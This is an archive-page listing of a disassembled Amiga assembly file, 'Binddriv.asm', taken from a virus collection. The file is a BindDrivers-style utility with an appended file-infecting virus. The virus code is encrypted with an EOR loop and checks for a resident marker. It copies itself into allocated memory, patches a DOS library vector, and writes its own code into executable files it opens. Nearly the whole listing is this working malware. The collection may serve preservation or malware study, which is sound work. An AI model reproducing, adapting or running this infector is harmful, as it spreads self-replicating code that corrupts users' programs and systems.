home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
z
/
ZIB
/
Binddriv.asm
< prev
next >
Wrap
Assembly Source File
|
2005-05-23
|
28KB
|
1,063 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $C8DBDFCA
SECTION S_0,CODE
SECSTRT_0:
LINK A5,#-320 ;000: 4E55FEC0
MOVEM.L D2/D4-D7/A2-A3/A6,-(A7) ;004: 48E72F32
MOVEA #$0004,A0 ;008: 307C0004
MOVEA.L (A0),A3 ;00C: 2650
MOVEA.L A3,A0 ;00E: 204B
MOVEQ #20,D6 ;010: 7C14
SUBA.L A2,A2 ;012: 95CA
MOVE.L A0,44(A7) ;014: 2F48002C
SUBA.L A1,A1 ;018: 93C9
MOVEA.L A3,A6 ;01A: 2C4B
JSR -294(A6) ;01C: 4EAEFEDA
MOVEA.L D0,A1 ;020: 2240
TST.L 172(A1) ;022: 4AA900AC
BNE.S LAB_0000 ;026: 661A
LEA 92(A1),A6 ;028: 4DE9005C
MOVE.L A6,32(A7) ;02C: 2F4E0020
MOVEA.L A6,A0 ;030: 204E
MOVEA.L A3,A6 ;032: 2C4B
JSR -384(A6) ;034: 4EAEFE80
MOVEA.L 32(A7),A0 ;038: 206F0020
JSR -372(A6) ;03C: 4EAEFE8C
MOVEA.L D0,A2 ;040: 2440
LAB_0000:
MOVE.L A2,-304(A5) ;042: 2B4AFED0
LEA LAB_000C(PC),A1 ;046: 43FA01F2
MOVEQ #37,D0 ;04A: 7025
JSR -552(A6) ;04C: 4EAEFDD8
MOVE.L D0,LAB_007F ;050: 23C0000009EC
BEQ LAB_000A ;056: 670001C4
LEA LAB_000D(PC),A1 ;05A: 43FA01EA
MOVEQ #37,D0 ;05E: 7025
JSR -552(A6) ;060: 4EAEFDD8
MOVE.L D0,LAB_007E ;064: 23C0000009E8
BEQ LAB_0009 ;06A: 670001A4
LEA LAB_000E(PC),A1 ;06E: 43FA01E8
MOVEQ #37,D0 ;072: 7025
JSR -552(A6) ;074: 4EAEFDD8
MOVEA.L D0,A2 ;078: 2440
MOVEA.L A2,A0 ;07A: 204A
MOVE.L A0,40(A7) ;07C: 2F480028
MOVE.L A2,D0 ;080: 200A
BEQ LAB_0008 ;082: 67000180
MOVEQ #5,D6 ;086: 7C05
LEA LAB_000F(PC),A1 ;088: 43FA01DC
MOVE.L A1,D1 ;08C: 2209
MOVEQ #-2,D2 ;08E: 74FE
MOVEA.L LAB_007F,A6 ;090: 2C79000009EC
JSR -84(A6) ;096: 4EAEFFAC
MOVE.L D0,D7 ;09A: 2E00
TST.L D7 ;09C: 4A87
BEQ LAB_0007 ;09E: 67000158
MOVE.L D7,D1 ;0A2: 2207
LEA -284(A5),A0 ;0A4: 41EDFEE4
MOVE.L A0,D2 ;0A8: 2408
JSR -102(A6) ;0AA: 4EAEFF9A
TST.L D0 ;0AE: 4A80
BEQ LAB_0006 ;0B0: 6700013A
MOVE.L -280(A5),D0 ;0B4: 202DFEE8
TST.L D0 ;0B8: 4A80
BLE LAB_0006 ;0BA: 6F000130
MOVEA.L LAB_007E,A6 ;0BE: 2C79000009E8
JSR -120(A6) ;0C4: 4EAEFF88
MOVEQ #0,D6 ;0C8: 7C00
MOVE.L D7,D1 ;0CA: 2207
MOVEA.L LAB_007F,A6 ;0CC: 2C79000009EC
JSR -126(A6) ;0D2: 4EAEFF82
MOVE.L D0,D5 ;0D6: 2A00
BRA LAB_0005 ;0D8: 600000E4
LAB_0001:
LEA -276(A5),A0 ;0DC: 41EDFEEC
MOVEA.L A0,A1 ;0E0: 2248
LAB_0002:
TST.B (A1)+ ;0E2: 4A19
BNE.S LAB_0002 ;0E4: 66FC
SUBQ.L #1,A1 ;0E6: 5389
SUBA.L A0,A1 ;0E8: 93C8
MOVE.L A1,D4 ;0EA: 2809
MOVEQ #5,D0 ;0EC: 7005
CMP.L D0,D4 ;0EE: B880
BLT LAB_0005 ;0F0: 6D0000CC
LEA -281(A5),A0 ;0F4: 41EDFEE7
ADDA.L D4,A0 ;0F8: D1C4
MOVEA.L A0,A3 ;0FA: 2648
MOVEA.L A3,A0 ;0FC: 204B
LEA LAB_0010(PC),A1 ;0FE: 43FA0174
JSR LAB_003F(PC) ;102: 4EBA03A0
TST.L D0 ;106: 4A80
BNE LAB_0005 ;108: 660000B4
CLR.B (A3) ;10C: 4213
LEA -276(A5),A0 ;10E: 41EDFEEC
MOVEA.L A2,A6 ;112: 2C4A
JSR -78(A6) ;114: 4EAEFFB2
MOVE.L D0,36(A7) ;118: 2F400024
TST.L D0 ;11C: 4A80
BEQ LAB_0005 ;11E: 6700009E
MOVEA.L D0,A0 ;122: 2040
MOVEA.L 54(A0),A0 ;124: 20680036
LEA LAB_0011(PC),A1 ;128: 43FA0150
JSR -96(A6) ;12C: 4EAEFFA0
MOVEA.L D0,A2 ;130: 2440
MOVE.L A2,D0 ;132: 200A
BEQ.S LAB_0004 ;134: 677A
MOVEA.L A2,A0 ;136: 204A
BSR LAB_001A ;138: 61000188
MOVEA.L D0,A3 ;13C: 2640
MOVE.L A3,D0 ;13E: 200B
BEQ.S LAB_0004 ;140: 676E
LEA -276(A5),A0 ;142: 41EDFEEC
MOVE.L A0,D1 ;146: 2208
MOVEA.L LAB_007F,A6 ;148: 2C79000009EC
JSR -150(A6) ;14E: 4EAEFF6A
MOVE.L D0,D4 ;152: 2800
TST.L D4 ;154: 4A84
BEQ.S LAB_0004 ;156: 6758
MOVE.L D4,D0 ;158: 2004
BSR LAB_0013 ;15A: 61000126
MOVE.L D0,32(A7) ;15E: 2F400020
TST.L D0 ;162: 4A80
BEQ.S LAB_0003 ;164: 673E
MOVE.L A2,-292(A5) ;166: 2B4AFEDC
MOVEA.L 36(A7),A0 ;16A: 206F0024
MOVE.L 54(A0),-288(A5) ;16E: 2B680036FEE0
LEA -276(A5),A0 ;174: 41EDFEEC
MOVE.L A0,-296(A5) ;178: 2B48FED8
MOVE.L A3,-300(A5) ;17C: 2B4BFED4
LEA -300(A5),A0 ;180: 41EDFED4
MOVEQ #16,D0 ;184: 7010
MOVEA.L LAB_007E,A6 ;186: 2C79000009E8
JSR -132(A6) ;18C: 4EAEFF7C
MOVEA.L 32(A7),A1 ;190: 226F0020
MOVE.L D4,D1 ;194: 2204
MOVEA.L 44(A7),A6 ;196: 2C6F002C
JSR -102(A6) ;19A: 4EAEFF9A
TST.L D0 ;19E: 4A80
BEQ.S LAB_0003 ;1A0: 6702
MOVEQ #0,D4 ;1A2: 7800
LAB_0003:
MOVE.L D4,D1 ;1A4: 2204
MOVEA.L LAB_007F,A6 ;1A6: 2C79000009EC
JSR -156(A6) ;1AC: 4EAEFF64
LAB_0004:
MOVEA.L 40(A7),A2 ;1B0: 246F0028
MOVEA.L 36(A7),A0 ;1B4: 206F0024
MOVEA.L A2,A6 ;1B8: 2C4A
JSR -90(A6) ;1BA: 4EAEFFA6
LAB_0005:
MOVE.L D7,D1 ;1BE: 2207
LEA -284(A5),A0 ;1C0: 41EDFEE4
MOVE.L A0,D2 ;1C4: 2408
MOVEA.L LAB_007F,A6 ;1C6: 2C79000009EC
JSR -108(A6) ;1CC: 4EAEFF94
TST.L D0 ;1D0: 4A80
BNE LAB_0001 ;1D2: 6600FF08
MOVE.L D5,D1 ;1D6: 2205
MOVEA.L LAB_007F,A6 ;1D8: 2C79000009EC
JSR -126(A6) ;1DE: 4EAEFF82
MOVEA.L LAB_007E,A6 ;1E2: 2C79000009E8
JSR -126(A6) ;1E8: 4EAEFF82
LAB_0006:
MOVE.L D7,D1 ;1EC: 2207
MOVEA.L LAB_007F,A6 ;1EE: 2C79000009EC
JSR -90(A6) ;1F4: 4EAEFFA6
LAB_0007:
MOVEA.L 44(A7),A3 ;1F8: 266F002C
MOVEA.L A2,A1 ;1FC: 224A
MOVEA.L A3,A6 ;1FE: 2C4B
JSR -414(A6) ;200: 4EAEFE62
LAB_0008:
MOVEA.L LAB_007E,A1 ;204: 2279000009E8
MOVEA.L A3,A6 ;20A: 2C4B
JSR -414(A6) ;20C: 4EAEFE62
LAB_0009:
MOVEA.L LAB_007F,A1 ;210: 2279000009EC
MOVEA.L A3,A6 ;216: 2C4B
JSR -414(A6) ;218: 4EAEFE62
LAB_000A:
MOVEA.L -304(A5),A2 ;21C: 246DFED0
MOVE.L A2,D0 ;220: 200A
BEQ.S LAB_000B ;222: 670C
MOVEA.L A3,A6 ;224: 2C4B
JSR -132(A6) ;226: 4EAEFF7C
MOVEA.L A2,A1 ;22A: 224A
JSR -378(A6) ;22C: 4EAEFE86
LAB_000B:
MOVE.L D6,D0 ;230: 2006
MOVEM.L (A7)+,D2/D4-D7/A2-A3/A6 ;232: 4CDF4CF4
UNLK A5 ;236: 4E5D
RTS ;238: 4E75
LAB_000C:
DC.W $646F ;23A
DC.W $732E ;23C
DC.W $6C69 ;23E
BHI.S LAB_0016 ;240: 6272
BSR.S LAB_0017 ;242: 6172
DC.W $7900 ;244
LAB_000D:
BCS.S LAB_0019 ;246: 6578
MOVEQ #97,D0 ;248: 7061
DC.W $6E73 ;24A
DC.W $696F ;24C
BGT.S LAB_0012 ;24E: 6E2E
DC.W $6C69 ;250
BHI.S LAB_001B ;252: 6272
BSR.S LAB_001B+2 ;254: 6172
DC.W $7900 ;256
LAB_000E:
DC.W $6963 ;258
BLE.S LAB_001D ;25A: 6F6E
MOVEA.L 26978(A4),A7 ;25C: 2E6C6962
MOVEQ #97,D1 ;260: 7261
MOVEQ #121,D1 ;262: 7279
DC.W $0000 ;264
LAB_000F:
SUBQ #1,(A1)+ ;266: 5359
DC.W $533A ;268
DC.W $4578 ;26A
MOVEQ #97,D0 ;26C: 7061
DC.W $6E73 ;26E
DC.W $696F ;270
DC.W $6E00 ;272
LAB_0010:
MOVEA.L 28262(A1),A7 ;274: 2E696E66
DC.W $6F00 ;278
LAB_0011:
ADDQ #8,(A2) ;27A: 5052
DC.W $4F44 ;27C
LAB_0012:
SUBQ #2,D3 ;27E: 5543
ADDQ.B #2,D0 ;280: 5400
LAB_0013:
MOVEM.L D7/A3,-(A7) ;282: 48E70110
MOVE.L D0,D7 ;286: 2E00
MOVE.L D7,D0 ;288: 2007
ASL.L #2,D0 ;28A: E580
MOVEA.L D0,A0 ;28C: 2040
MOVE.L -4(A0),D7 ;28E: 2E28FFFC
SUBQ.L #8,D7 ;292: 5187
LEA 4(A0),A3 ;294: 47E80004
BRA.S LAB_0016 ;298: 601A
LAB_0014:
CMPI #$4AFC,(A3) ;29A: 0C534AFC
BNE.S LAB_0015 ;29E: 660C
MOVEA.L 2(A3),A0 ;2A0: 206B0002
CMPA.L A3,A0 ;2A4: B1CB
BNE.S LAB_0015 ;2A6: 6604
MOVE.L A3,D0 ;2A8: 200B
BRA.S LAB_0018 ;2AA: 6010
LAB_0015:
SUBQ.L #2,D7 ;2AC: 5587
MOVE.L A3,D0 ;2AE: 200B
ADDQ.L #2,D0 ;2B0: 5480
MOVEA.L D0,A3 ;2B2: 2640
LAB_0016:
MOVEQ #26,D0 ;2B4: 701A
LAB_0017:
CMP.L D0,D7 ;2B6: BE80
BHI.S LAB_0014 ;2B8: 62E0
MOVEQ #0,D0 ;2BA: 7000
LAB_0018:
MOVEM.L (A7)+,D7/A3 ;2BC: 4CDF0880
LAB_0019:
RTS ;2C0: 4E75
LAB_001A:
LINK A5,#-12 ;2C2: 4E55FFF4
LAB_001B:
MOVEM.L D7/A2-A3,-(A7) ;2C6: 48E70130
LAB_001D:
MOVEA.L A0,A3 ;2CA: 2648
CLR.L -12(A5) ;2CC: 42ADFFF4
LAB_001E:
MOVEQ #124,D0 ;2D0: 707C
MOVEA.L A3,A0 ;2D2: 204B
BSR LAB_0037 ;2D4: 61000174
MOVEA.L D0,A2 ;2D8: 2440
MOVE.L A2,D0 ;2DA: 200A
BEQ.S LAB_001F ;2DC: 670C
MOVE.L A2,D0 ;2DE: 200A
MOVE.L A3,D1 ;2E0: 220B
SUB.L D1,D0 ;2E2: 9081
MOVE.L D0,D7 ;2E4: 2E00
ADDQ.L #1,A2 ;2E6: 528A
BRA.S LAB_0021 ;2E8: 600C
LAB_001F:
MOVEA.L A3,A0 ;2EA: 204B
LAB_0020:
TST.B (A0)+ ;2EC: 4A18
BNE.S LAB_0020 ;2EE: 66FC
SUBQ.L #1,A0 ;2F0: 5388
SUBA.L A3,A0 ;2F2: 91CB
MOVE.L A0,D7 ;2F4: 2E08
LAB_0021:
MOVE.L D7,D0 ;2F6: 2007
MOVEA.L -12(A5),A0 ;2F8: 206DFFF4
MOVEA.L A3,A1 ;2FC: 224B
BSR LAB_0022 ;2FE: 61000018
MOVE.L D0,-12(A5) ;302: 2B40FFF4
MOVEA.L A2,A3 ;306: 264A
MOVE.L A2,D0 ;308: 200A
BNE.S LAB_001E ;30A: 66C4
MOVE.L -12(A5),D0 ;30C: 202DFFF4
MOVEM.L (A7)+,D7/A2-A3 ;310: 4CDF0C80
UNLK A5 ;314: 4E5D
RTS ;316: 4E75
LAB_0022:
LINK A5,#-20 ;318: 4E55FFEC
MOVEM.L D2/D6-D7/A2-A3/A6,-(A7) ;31C: 48E72332
MOVEA.L A1,A3 ;320: 2649
MOVE.L D0,D7 ;322: 2E00
MOVE.L A0,-20(A5) ;324: 2B48FFEC
MOVEQ #47,D0 ;328: 702F
MOVE.L D7,D1 ;32A: 2207
MOVEA.L A3,A0 ;32C: 204B
BSR LAB_003D ;32E: 6100013E
MOVEA.L D0,A2 ;332: 2440
MOVE.L A2,D0 ;334: 200A
BEQ.S LAB_0023 ;336: 670C
MOVE.L A2,D0 ;338: 200A
MOVE.L A3,D1 ;33A: 220B
SUB.L D1,D0 ;33C: 9081
MOVE.L D0,D6 ;33E: 2C00
ADDQ.L #1,A2 ;340: 528A
BRA.S LAB_0024 ;342: 6002
LAB_0023:
MOVE.L D7,D6 ;344: 2C07
LAB_0024:
MOVE.L D6,D0 ;346: 2006
MOVEA.L A3,A0 ;348: 204B
BSR LAB_0032 ;34A: 610000CC
TST D0 ;34E: 4A40
BEQ.S LAB_0025 ;350: 6704
MOVEQ #0,D0 ;352: 7000
BRA.S LAB_0029 ;354: 6054
LAB_0025:
MOVE.L A3,D1 ;356: 220B
LEA -12(A5),A0 ;358: 41EDFFF4
MOVE.L A0,D2 ;35C: 2408
MOVEA.L LAB_007F,A6 ;35E: 2C79000009EC
JSR -816(A6) ;364: 4EAEFCD0
MOVE.L A2,D0 ;368: 200A
BEQ.S LAB_0027 ;36A: 6728
MOVE.L D7,D0 ;36C: 2007
SUB.L D6,D0 ;36E: 9086
SUBQ.L #1,D0 ;370: 5380
MOVEA.L A2,A0 ;372: 204A
BSR LAB_0032 ;374: 610000A2
TST D0 ;378: 4A40
BEQ.S LAB_0026 ;37A: 6704
MOVEQ #0,D0 ;37C: 7000
BRA.S LAB_0029 ;37E: 602A
LAB_0026:
MOVE.L A2,D1 ;380: 220A
LEA -16(A5),A0 ;382: 41EDFFF0
MOVE.L A0,D2 ;386: 2408
MOVEA.L LAB_007F,A6 ;388: 2C79000009EC
JSR -816(A6) ;38E: 4EAEFCD0
BRA.S LAB_0028 ;392: 6006
LAB_0027:
MOVEQ #-1,D0 ;394: 70FF
MOVE.L D0,-16(A5) ;396: 2B40FFF0
LAB_0028:
MOVE.L -12(A5),D0 ;39A: 202DFFF4
MOVE.L -16(A5),D1 ;39E: 222DFFF0
MOVEA.L -20(A5),A0 ;3A2: 206DFFEC
BSR LAB_002F ;3A6: 6100002C
LAB_0029:
MOVEM.L (A7)+,D2/D6-D7/A2-A3/A6 ;3AA: 4CDF4CC4
UNLK A5 ;3AE: 4E5D
RTS ;3B0: 4E75
LAB_002A:
MOVEM.L A2-A3,-(A7) ;3B2: 48E70030
MOVEA.L A0,A3 ;3B6: 2648
MOVEA.L A1,A2 ;3B8: 2449
BRA.S LAB_002D ;3BA: 600C
LAB_002B:
CMPA.L A2,A3 ;3BC: B7CA
BNE.S LAB_002C ;3BE: 6604
MOVEQ #1,D0 ;3C0: 7001
BRA.S LAB_002E ;3C2: 600A
LAB_002C:
MOVEA.L 48(A3),A3 ;3C4: 266B0030
LAB_002D:
MOVE.L A3,D0 ;3C8: 200B
BNE.S LAB_002B ;3CA: 66F0
MOVEQ #0,D0 ;3CC: 7000
LAB_002E:
MOVEM.L (A7)+,A2-A3 ;3CE: 4CDF0C00
RTS ;3D2: 4E75
LAB_002F:
MOVEM.L D6-D7/A2-A3/A6,-(A7) ;3D4: 48E70332
MOVEA.L A0,A3 ;3D8: 2648
MOVE.L D0,D7 ;3DA: 2E00
MOVE.L D1,D6 ;3DC: 2C01
SUBA.L A2,A2 ;3DE: 95CA
BRA.S LAB_0031 ;3E0: 6018
LAB_0030:
BTST #1,14(A2) ;3E2: 082A0001000E
BEQ.S LAB_0031 ;3E8: 6710
MOVEA.L A3,A0 ;3EA: 204B
MOVEA.L A2,A1 ;3EC: 224A
BSR.S LAB_002A ;3EE: 61C2
TST D0 ;3F0: 4A40
BNE.S LAB_0031 ;3F2: 6606
MOVE.L A3,48(A2) ;3F4: 254B0030
MOVEA.L A2,A3 ;3F8: 264A
LAB_0031:
MOVEA.L A2,A0 ;3FA: 204A
MOVE.L D7,D0 ;3FC: 2007
MOVE.L D6,D1 ;3FE: 2206
MOVEA.L LAB_007E,A6 ;400: 2C79000009E8
JSR -72(A6) ;406: 4EAEFFB8
MOVEA.L D0,A2 ;40A: 2440
MOVE.L A2,D0 ;40C: 200A
BNE.S LAB_0030 ;40E: 66D2
MOVE.L A3,D0 ;410: 200B
MOVEM.L (A7)+,D6-D7/A2-A3/A6 ;412: 4CDF4CC0
RTS ;416: 4E75
LAB_0032:
MOVEM.L D7/A3,-(A7) ;418: 48E70110
MOVEA.L A0,A3 ;41C: 2648
MOVE.L D0,D7 ;41E: 2E00
TST.L D7 ;420: 4A87
BNE.S LAB_0035 ;422: 6616
MOVEQ #1,D0 ;424: 7001
BRA.S LAB_0036 ;426: 601C
LAB_0033:
MOVE.B (A3)+,D0 ;428: 101B
MOVEQ #48,D1 ;42A: 7230
CMP.B D1,D0 ;42C: B001
BLT.S LAB_0034 ;42E: 6D06
MOVEQ #57,D1 ;430: 7239
CMP.B D1,D0 ;432: B001
BLE.S LAB_0035 ;434: 6F04
LAB_0034:
MOVEQ #1,D0 ;436: 7001
BRA.S LAB_0036 ;438: 600A
LAB_0035:
MOVE.L D7,D0 ;43A: 2007
SUBQ.L #1,D7 ;43C: 5387
TST.L D0 ;43E: 4A80
BGT.S LAB_0033 ;440: 6EE6
MOVEQ #0,D0 ;442: 7000
LAB_0036:
MOVEM.L (A7)+,D7/A3 ;444: 4CDF0880
RTS ;448: 4E75
LAB_0037:
MOVEM.L D7/A3,-(A7) ;44A: 48E70110
MOVEA.L A0,A3 ;44E: 2648
MOVE.L D0,D7 ;450: 2E00
BRA.S LAB_0039 ;452: 6002
LAB_0038:
ADDQ.L #1,A3 ;454: 528B
LAB_0039:
MOVE.B (A3),D0 ;456: 1013
BEQ.S LAB_003A ;458: 6704
CMP.B D7,D0 ;45A: B007
BNE.S LAB_0038 ;45C: 66F6
LAB_003A:
TST.B (A3) ;45E: 4A13
BNE.S LAB_003B ;460: 6604
MOVEQ #0,D0 ;462: 7000
BRA.S LAB_003C ;464: 6002
LAB_003B:
MOVE.L A3,D0 ;466: 200B
LAB_003C:
MOVEM.L (A7)+,D7/A3 ;468: 4CDF0880
BRA.S LAB_0044 ;46C: 606A
LAB_003D:
LINK A5,#-8 ;46E: 4E55FFF8
MOVEM.L D6-D7/A3,-(A7) ;472: 48E70310
MOVEA.L A0,A3 ;476: 2648
MOVE.L D0,D7 ;478: 2E00
MOVE.L D1,D6 ;47A: 2C01
MOVE.L D7,D0 ;47C: 2007
EXT D0 ;47E: 4880
EXT.L D0 ;480: 48C0
MOVEA.L A3,A0 ;482: 204B
MOVE.L A0,16(A7) ;484: 2F480010
BSR.S LAB_0037 ;488: 61C0
MOVEA.L D0,A3 ;48A: 2640
MOVEA.L 16(A7),A0 ;48C: 206F0010
ADDA.L D6,A0 ;490: D1C6
CMPA.L A0,A3 ;492: B7C8
BLS.S LAB_003E ;494: 6302
SUBA.L A3,A3 ;496: 97CB
LAB_003E:
MOVE.L A3,D0 ;498: 200B
MOVEM.L (A7)+,D6-D7/A3 ;49A: 4CDF08C0
UNLK A5 ;49E: 4E5D
BRA.S LAB_0044 ;4A0: 6036
DC.W $0000 ;4A2
LAB_003F:
MOVEQ #0,D0 ;4A4: 7000
MOVEQ #0,D1 ;4A6: 7200
LAB_0040:
MOVE.B (A0)+,D0 ;4A8: 1018
MOVE.B (A1)+,D1 ;4AA: 1219
CMPI.B #$61,D0 ;4AC: 0C000061
BLT.S LAB_0041 ;4B0: 6D0A
CMPI.B #$7A,D0 ;4B2: 0C00007A
BGT.S LAB_0041 ;4B6: 6E04
SUBI.B #$20,D0 ;4B8: 04000020
LAB_0041:
CMPI.B #$61,D1 ;4BC: 0C010061
BLT.S LAB_0042 ;4C0: 6D0A
CMPI.B #$7A,D1 ;4C2: 0C01007A
BGT.S LAB_0042 ;4C6: 6E04
SUBI.B #$20,D1 ;4C8: 04010020
LAB_0042:
SUB.L D1,D0 ;4CC: 9081
BNE.S LAB_0043 ;4CE: 6604
TST.B D1 ;4D0: 4A01
BNE.S LAB_0040 ;4D2: 66D4
LAB_0043:
BRA.S LAB_0044 ;4D4: 6002
DC.W $0000 ;4D6
LAB_0044:
MOVEM.L D0-D7/A0-A6,-(A7) ;4D8: 48E7FFFE
BSR.S LAB_0045 ;4DC: 6108
BSR.S LAB_0049 ;4DE: 613E
MOVEM.L (A7)+,D0-D7/A0-A6 ;4E0: 4CDF7FFF
RTS ;4E4: 4E75
LAB_0045:
MOVEM.L D0-D7/A0-A6,-(A7) ;4E6: 48E7FFFE
LEA LAB_0076(PC),A0 ;4EA: 41FA0422
DC.W $43FA ;4EE
DC.W $04D4 ;4F0
LAB_0046:
EORI #$BABE,(A0)+ ;4F2: 0A58BABE
CMPA.L A0,A1 ;4F6: B3C8
BNE.S LAB_0046 ;4F8: 66F8
MOVEA.L (ABSEXECBASE).W,A6 ;4FA: 2C780004
JSR -636(A6) ;4FE: 4EAEFD84
MOVEM.L (A7)+,D0-D7/A0-A6 ;502: 4CDF7FFF
RTS ;506: 4E75
LAB_0047:
MOVEM.L D1-D7/A0-A6,-(A7) ;508: 48E77FFE
MOVE.L #$00050001,D1 ;50C: 223C00050001
JSR -684(A6) ;512: 4EAEFD54
MOVEM.L (A7)+,D1-D7/A0-A6 ;516: 4CDF7FFE
TST.L D0 ;51A: 4A80
LAB_0048:
RTS ;51C: 4E75
LAB_0049:
MOVEA.L (ABSEXECBASE).W,A6 ;51E: 2C780004
LAB_004A:
CMPI.L #$54525369,514(A6) ;522: 0CAE545253690202
BEQ.S LAB_0048 ;52A: 67F0
MOVE.L #$00000200,D0 ;52C: 203C00000200
BSR.S LAB_0047 ;532: 61D4
BEQ.S LAB_0048 ;534: 67E6
LEA LAB_0044(PC),A1 ;536: 43FAFFA0
MOVE.L D0,1062(A1) ;53A: 23400426
MOVE.L #$00000522,D0 ;53E: 203C00000522
BSR.S LAB_0047 ;544: 61C2
BEQ.S LAB_0048 ;546: 67D4
MOVEA.L D0,A0 ;548: 2040
MOVE #$04EB,D1 ;54A: 323C04EB
LAB_004B:
MOVE.B (A1)+,(A0)+ ;54E: 10D9
DBF D1,LAB_004B ;550: 51C9FFFC
MOVEA.L D0,A0 ;554: 2040
PEA 134(A0) ;556: 48680086
JMP -636(A6) ;55A: 4EEEFD84
LEA LAB_0075(PC),A1 ;55E: 43FA03A2
MOVE.L #$10020019,198(A1) ;562: 237C1002001900C6
MOVEQ #37,D0 ;56A: 7025
JSR -552(A6) ;56C: 4EAEFDD8
TST.L D0 ;570: 4A80
BEQ.S LAB_0048 ;572: 67A8
DC.W $43FA ;574
DC.W $044E ;576
MOVE.L D0,(A1) ;578: 2280
MOVEA.L D0,A2 ;57A: 2440
MOVEA.L -148(A2),A3 ;57C: 266AFF6C
LEA LAB_004D(PC),A4 ;580: 49FA0044
MOVE.L -162(A4),D1 ;584: 222CFF5E
CMP.L -162(A3),D1 ;588: B2ABFF5E
BEQ.S LAB_004C ;58C: 6708
MOVE.L A3,1042(A4) ;58E: 294B0412
MOVE.L A4,-148(A2) ;592: 254CFF6C
LAB_004C:
MOVE.L LAB_004A+2(PC),514(A6) ;596: 2D7AFF8C0202
LEA LAB_0078(PC),A1 ;59C: 43FA0384
JSR -294(A6) ;5A0: 4EAEFEDA
TST.L D0 ;5A4: 4A80
BNE.S LAB_004F ;5A6: 6634
LEA LAB_0078(PC),A1 ;5A8: 43FA0378
MOVE.L A1,D1 ;5AC: 2209
CLR.L D2 ;5AE: 4282
LEA LAB_0061(PC),A1 ;5B0: 43FA01CA
MOVE.L A1,D3 ;5B4: 2609
LSR.L #2,D3 ;5B6: E48B
MOVE.L #$00000400,D4 ;5B8: 283C00000400
DC.W $2C7A ;5BE
DC.W $0404 ;5C0
JMP -138(A6) ;5C2: 4EEEFF76
LAB_004D:
MOVEM.L D0-D7/A0-A6,-(A7) ;5C6: 48E7FFFE
DC.W $4BFA ;5CA
DC.W $0428 ;5CC
TST.L (A5) ;5CE: 4A95
BNE.S LAB_004E ;5D0: 6602
BSR.S LAB_0051 ;5D2: 6110
LAB_004E:
MOVEM.L (A7)+,D0-D7/A0-A6 ;5D4: 4CDF7FFF
DC.W $2F3A ;5D8
DC.W $03FE ;5DA
LAB_004F:
RTS ;5DC: 4E75
LAB_0050:
MOVE.L D7,D1 ;5DE: 2207
JMP -90(A6) ;5E0: 4EEEFFA6
LAB_0051:
DC.W $2C7A ;5E4
BSET D1,(A6)+ ;5E6: 03DE
DC.W $41FA ;5E8
BSET D1,-127(A2,D2.W) ;5EA: 03F22081
MOVEQ #-1,D2 ;5EE: 74FF
JSR -84(A6) ;5F0: 4EAEFFAC
TST.L D0 ;5F4: 4A80
BEQ.S LAB_004F ;5F6: 67E4
MOVE.L D0,D7 ;5F8: 2E00
MOVE.L D0,D1 ;5FA: 2200
MOVEA.L LAB_0074(PC),A5 ;5FC: 2A7A0300
MOVE.L A5,D2 ;600: 240D
JSR -114(A6) ;602: 4EAEFF8E
TST.L D0 ;606: 4A80
BEQ.S LAB_0050 ;608: 67D4
CMPI.L #$00000052,8(A5) ;60A: 0CAD000000520008
BNE.S LAB_0050 ;612: 66CA
MOVE.L 12(A5),D0 ;614: 202D000C
SUB.L 16(A5),D0 ;618: 90AD0010
CMP.L #$00000005,D0 ;61C: B0BC00000005
BLE.S LAB_0050 ;622: 6FBA
MOVE.L D7,D1 ;624: 2207
MOVE.L A5,D2 ;626: 240D
JSR -102(A6) ;628: 4EAEFF9A
TST.L D0 ;62C: 4A80
BEQ.S LAB_0050 ;62E: 67AE
TST 116(A5) ;630: 4A6D0074
BNE.S LAB_0050 ;634: 66A8
CMPI.L #$0001E848,124(A5) ;636: 0CAD0001E848007C
BHI.S LAB_0050 ;63E: 629E
BSR.S LAB_0050 ;640: 619C
MOVE.L 124(A5),D0 ;642: 202D007C
MOVEA.L (ABSEXECBASE).W,A6 ;646: 2C780004
BSR LAB_0047 ;64A: 6100FEBC
BEQ.S LAB_0052 ;64E: 6716
MOVE.L D0,D7 ;650: 2E00
DC.W $2C7A ;652
DC.W $0370 ;654
DC.W $223A ;656
BCLR D1,D4 ;658: 0384
MOVE.L #$000003ED,D2 ;65A: 243C000003ED
JSR -30(A6) ;660: 4EAEFFE2
TST.L D0 ;664: 4A80
LAB_0052:
BEQ LAB_0057 ;666: 6700008C
MOVE.L D0,D6 ;66A: 2C00
MOVE.L D0,D1 ;66C: 2200
MOVE.L D7,D2 ;66E: 2407
MOVEA.L LAB_0074(PC),A5 ;670: 2A7A028C
MOVE.L 124(A5),D3 ;674: 262D007C
JSR -42(A6) ;678: 4EAEFFD6
CMP.L 124(A5),D0 ;67C: B0AD007C
BEQ.S LAB_0055 ;680: 670A
BRA.S LAB_0056 ;682: 6042
LAB_0053:
MOVE.L D7,D2 ;684: 2407
LAB_0054:
MOVE.L D6,D1 ;686: 2206
JMP -48(A6) ;688: 4EEEFFD0
LAB_0055:
MOVE.L D6,D1 ;68C: 2206
CLR.L D2 ;68E: 4282
MOVEQ #-1,D3 ;690: 76FF
JSR -66(A6) ;692: 4EAEFFBE
BSR.S LAB_0058 ;696: 6166
BNE.S LAB_0056 ;698: 662C
DC.W $263A ;69A
BCHG D1,D4 ;69C: 0344
BSR.S LAB_0053 ;69E: 61E4
BSR LAB_0045 ;6A0: 6100FE44
LEA LAB_0044(PC),A0 ;6A4: 41FAFE32
MOVE.L A0,D2 ;6A8: 2408
MOVE.L #$000004EC,D3 ;6AA: 263C000004EC
BSR.S LAB_0054 ;6B0: 61D4
MOVE.L D7,D2 ;6B2: 2407
MOVE.L 124(A5),D3 ;6B4: 262D007C
DC.W $96BA ;6B8
BTST D1,-(A6) ;6BA: 0326
DC.W $D4BA ;6BC
BTST D1,-(A2) ;6BE: 0322
BSR.S LAB_0054 ;6C0: 61C4
BSR LAB_0045 ;6C2: 6100FE22
LAB_0056:
MOVE.L D6,D1 ;6C6: 2206
JSR -36(A6) ;6C8: 4EAEFFDC
DC.W $2C7A ;6CC
DC.W $02F6 ;6CE
MOVEA.L LAB_0074(PC),A5 ;6D0: 2A7A022C
MOVE #$FAB4,116(A5) ;6D4: 3B7CFAB40074
MOVE.L 116(A5),D2 ;6DA: 242D0074
DC.W $223A ;6DE
DC.W $02FC ;6E0
JSR -186(A6) ;6E2: 4EAEFF46
